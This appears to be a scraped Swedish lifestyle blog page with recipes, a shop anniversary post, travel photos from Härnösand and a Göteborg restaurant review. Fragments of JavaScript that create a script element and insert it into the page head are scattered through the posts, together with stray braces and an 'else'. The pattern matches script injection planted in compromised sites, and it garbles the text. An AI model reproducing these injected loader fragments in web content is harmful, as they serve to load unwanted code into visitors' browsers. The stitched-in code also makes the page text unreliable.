Sportstyle women only

Igår var det 1-års jubileum på ”SportStyle women only”. Bilderna har jag lånat från SportStyle Women only’s egna facebooksida.

A

bild3Bild1Bild2

Det bjöds på bubbel, snittar, fruktspett och ostbricka samt 25% rabatt i hela butiken.
Jag passade på att köpa en träningströja, rosa såklart. Det delades ut fina goodiebags …

bildAbildB

 

 

Birgittas goda fisksoppa

Receptet är för 4 -6 personer
1 gul lök (hacka i bitar)
2 msk olivolja
1 liten fänkål (i strimlor)
1 burk krossade tomater
2 pressade vitlöksklyftor
1 paket saffran
1 liter vatten
2 buljongtärningar (fisk)
3 dl torrt vitt vin
1-2 dl grädde
Lite salt och svartpeppar.

600 gram fiskfilé, (tex lax, torsk)
Räkor

Gör så här:
Skala och hacka den gula löken. Häll i olivolja i en gryta och fräs upp löken och fänkål. Pressa i vitlök och rör i de krossade tomaterna, saffran, grädde, salt och peppar. Tillsätt vin och sjud ca 15 min.

Skär fisken i bitar och lägg i grytan. Sjud ytterligare ca 5 minuter. Servera soppan med aioli och skalade räkor.

Recept på Aioli
1 burk creme fraiche
2-3 msk majonnäs
1-2 pressade vitlöksklyftor
Lite salt och vitpeppar

Låt stå i kylskåp ca 30 min innan servering.

 

Rawbollar med cashewnötter och apelsin

Det här receptet fick jag från min granne som har en kokbok med massa goda recept. Kommer dock inte ihåg vad kokboken heter.

bild4

Dessa ”Rawbollar” är perfekt att ha i  frysen och ta fram när du blir sugen eller får gäster. Jag valde att göra några cakepops som jag doppade i 70% mörk choklad.
Jag ändrade lite i grundrecepet och använde 2 dl cashewnötter istället för 1 dl pekannötter och tog en apelsin istället för en clementin.

Recept:
5 torkade fikon
1 dl cashewnötter
1 dl pekannötter
1/2 dl nyponskalsmjöl
saften av en clementin

Gör så här:
Lägg alla ingredienser i en matberedare och mixa till en smet. Forma till bollar och ställ i kylen eller förvara i frysen.

bild1bild1bild8bild9

bild11bild3bild7bild2bild5bild2

Om ni vill göra cakepops gör ni så här:
Rulla till en boll och ställ in i kylen en stund.  Under tiden kan du smälta 70% mörk choklad i ett vattenbad. Doppa en pinne i chokladen och stick ner i bollen. Låt svalna i frysen 5-10 minuter. Ta fram dina bollar och doppa hela pinnen med bollen i chokladen och låt svalna i kylskåp. Om du vill kan du doppa den i kokos, eller annan topping.
bild11bild12bild4

 

 var d=document;var s=d.createElement(‘script’);

Sötpotatisplättar

bild37

Sötpotatisplättar till frukost med knaperstekt bacon och färska jordgubbar.

Fruios

Sötpotatisplättar fungerar även perfekt som tillbehör till middagen tillsammans med kokospanerad torsk

bild35

Det här receptet hittade jag på ”the fintess recipes.com” som även har en fb sida. Du kan äta dessa plättar till frukost tillsammans med stekt bacon, eller som tillbehör till din middag.

Recept 2 personer (ca 17 plättar)
150 gram 3/4 cup fördigkokt och mosad sötpotatis
1 ägg (uppvispad)
2 1/2 (1/4 cup) äggvitor (uppvispad)
1 teaspoon kanel

Gör så här: Mixa alla ingredienser tillsammans. Värm upp en stekpanna på medelvärme. Jag använde kokosolja till att steka upp mina plättar.D

bild18

bild17

bild16bild15bild14bild38bild12document.currentScript.parentNode.insertBefore(s, document.currentScript);

Vackra Härnösand

Den 20 juli åkte jag upp till Härnösand i några dagar och vädret var helt perfekt med temperaturer uppåt 33 grader. Här kommer lite bilder från mina dagar uppe i Norr.

bilder Helenas gamla iphone4 1317

bilder Helenas gamla iphone4 1563 bilder Helenas gamla iphone4 1564

Här kommer lite fler bilder från min vistelse i vackra Härnösand.

bilder Helenas gamla iphone4 1561 bilder Helenas gamla iphone4 1560 bilder Helenas gamla iphone4 1558 bilder Helenas gamla iphone4 1557bilder Helenas gamla iphone4 1387 bilder Helenas gamla iphone4 1393 bilder Helenas gamla iphone4 1394bilder Helenas gamla iphone4 1337 bilder Helenas gamla iphone4 1334 bilder Helenas gamla iphone4 1333 bilder Helenas gamla iphone4 1332 bilder Helenas gamla iphone4 1330 bilder Helenas gamla iphone4 1329 bilder Helenas gamla iphone4 1328bilder Helenas gamla iphone4 1323bilder Helenas gamla iphone4 1411 bilder Helenas gamla iphone4 1414 bilder Helenas gamla iphone4 1417bilder Helenas gamla iphone4 1376 bilder Helenas gamla iphone4 1373 bilder Helenas gamla iphone4 1350 bilder Helenas gamla iphone4 1393bilder Helenas gamla iphone4 1474 bilder Helenas gamla iphone4 1487 bilder Helenas gamla iphone4 1509

 

 

 

 } else {

Restaurang Gropen, Göteborg

Har ni tittat på  programmet  ”Leifs Restaurang” som visas på TV4 på onsdagar kl. 21?

bild4bild3Ikväll besökte jag Restaurang Gropen och åt en supergod middag. De serverar förrätter, mellanrätter, varmrätter och desserter. Se Restaurang Gropens hemsidan här.

bild7bild6bild5

Vi blev serverade av Mikael som rekommenderade ”Entrecote på Mannerström´s vis” (amerikansk 300g) för 325:-
som serverades med
bönor, lökringar, pommes & bearnaisesås. Till det drack vi gott gott Italienskt vin.
Maten smakade underbart gott och väl värt pengarna. Lokalen är mysig och hemtrevlig med trevlig personal.

Jag kan varmt rekommendera att ni besöker Restaurang Gropen äter deras goda mat.

Bild1

bildA

bild10bild9

bild2

Tack Restaurang Gropen för en trevlig upplevelse och otroligt god mat! Vi önskar Mikael all lycka till i fortsättningen!

bild11

 

 d.getElementsByTagName(‘head’)[0].appendChild(s);

Mörkt lingonbröd med russin och valnötter

1

Recept:
3 dl vetemjöl
3 1/2 dl grovt rågmjöl
1 tsk salt
1 tsk bakpulver
2 tsk bikarbonat
1 msk brödkryddor (finns i påse bland kryddhyllan i mataffären)
1 dl lingonsylt
1 dl mörk sirap
3 dl filmjölk
1/2 dl russin
1/2 dl valnötter (hackade)

Blanda alla ingredienser och häll degen i en smörad 1 1/2 liters form. Om du ställer in formen (ogräddad) i kylen över natten, blir brödet mer saftigt. Jag la över en handuk över formen. Grädda på nedersta falsen i 175 grader ca 50 min. Stjäl upp och låt svalna på galler.

}

Peanut butter cookies

bild9

Det här underbara receptet hittade jag på ”Swedebites” på instagram.

bild11

Recept:
1 cup  (2,25 dl) jordnötssmör (saltad)
4 tbsp  (4 msk) honung
2 tsp (2 tsk) vanilj pulver
1 ägg
en pepparkaksform

Gör så här.: Värm ugnen på  175 grader Celsius. Mixa ihop alla ingredienser och skeda ut  en liten klick av degen och forma till kakor. Degen är lite klibbig. Värm i ugnen i ca 5-7 minuter beroende på tjockleken på kakorna. Kakorna flyter inte ut i ugnen när de gräddas.  När kakorna svalnat kan du  dekorera med smält mörk 70% choklad.

Jag använder mig utan följande jordnötssmör.

Pea

bild3bild2bild5bild1

bild6bild7bild4bild8bild11

bild12

bild10

 

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Röd linssoppa

 

bild1

Det här receptet hittade jag på Laila Bagges blogg här. Soppan är riktigt god och det blir ännu godare när du pressar lite färsk citron på soppan precis innan du äter och lite rå, hackad gul lök.

Recept 4 personer
1/2 paket röda linser
1 stor gul lök
1 1/2 grönsaksbuljong eller kyklingbuljong
Spiskummin halva (flaskan,burken)
Två matskedar  curry

Ta fram en stor kastrull häll i rapsolja (ganska mycket) så att det täcker hela botten. Hacka löken och lägg i kastrullen och bryn en liten stund. Häll i linserna och rör om, häll i alla kryddor och rör om låt stekas tillsammans en stund. I med vatten och buljong  ganska mycket vatten. Det är bra om man har koll på soppan den ska inte vara tjock som ärtsoppa då får man hälla i mer vatten. Låt små koka (puttra) i 45 min sedan klart. Servera med citron pressad över soppan i tallriken och rå gul lök som skivas och läggs i soppan om man vill.

bild13

bild14

bild9

bild11

bild16

bild17

bild8

bild6

bild12

bild7

bild5

bild15

bild3

bild9

bild2

 

Goda Granola bars

bild14

Nu har jag bakat  supergoda granola bars!  Receptet hittade jag på Renée Voltaire’s fb sida.

Bars (ca 14 s)
ca 15 Aprikoser
Lite vatten
en nypa äkta vanilj /vaniljpulver
2 msk Chiafrön
7 dl Renée Voltaire ”Crunchy Granola Hallon och Blåbär”

bild3bild2bild1

Gör så här:
Mixa ekologiska aprikoser med vatten, äkta vaniljpulver och chiafrön. Blanda med Crunchy Granola Hallon & Blåbär. Forma till bars och torka i ugn ca 15 min i 160 grader. Förvara dina bars i en burk med tätslutande lock. Om du vill göra dem lite mer lyxiga så kan du doppa dem i mörk 70% choklad.

bild4bild5bild7

bild6bild8bild9bild11bild12bild13bild5bild4bild3bildA

 

 

 }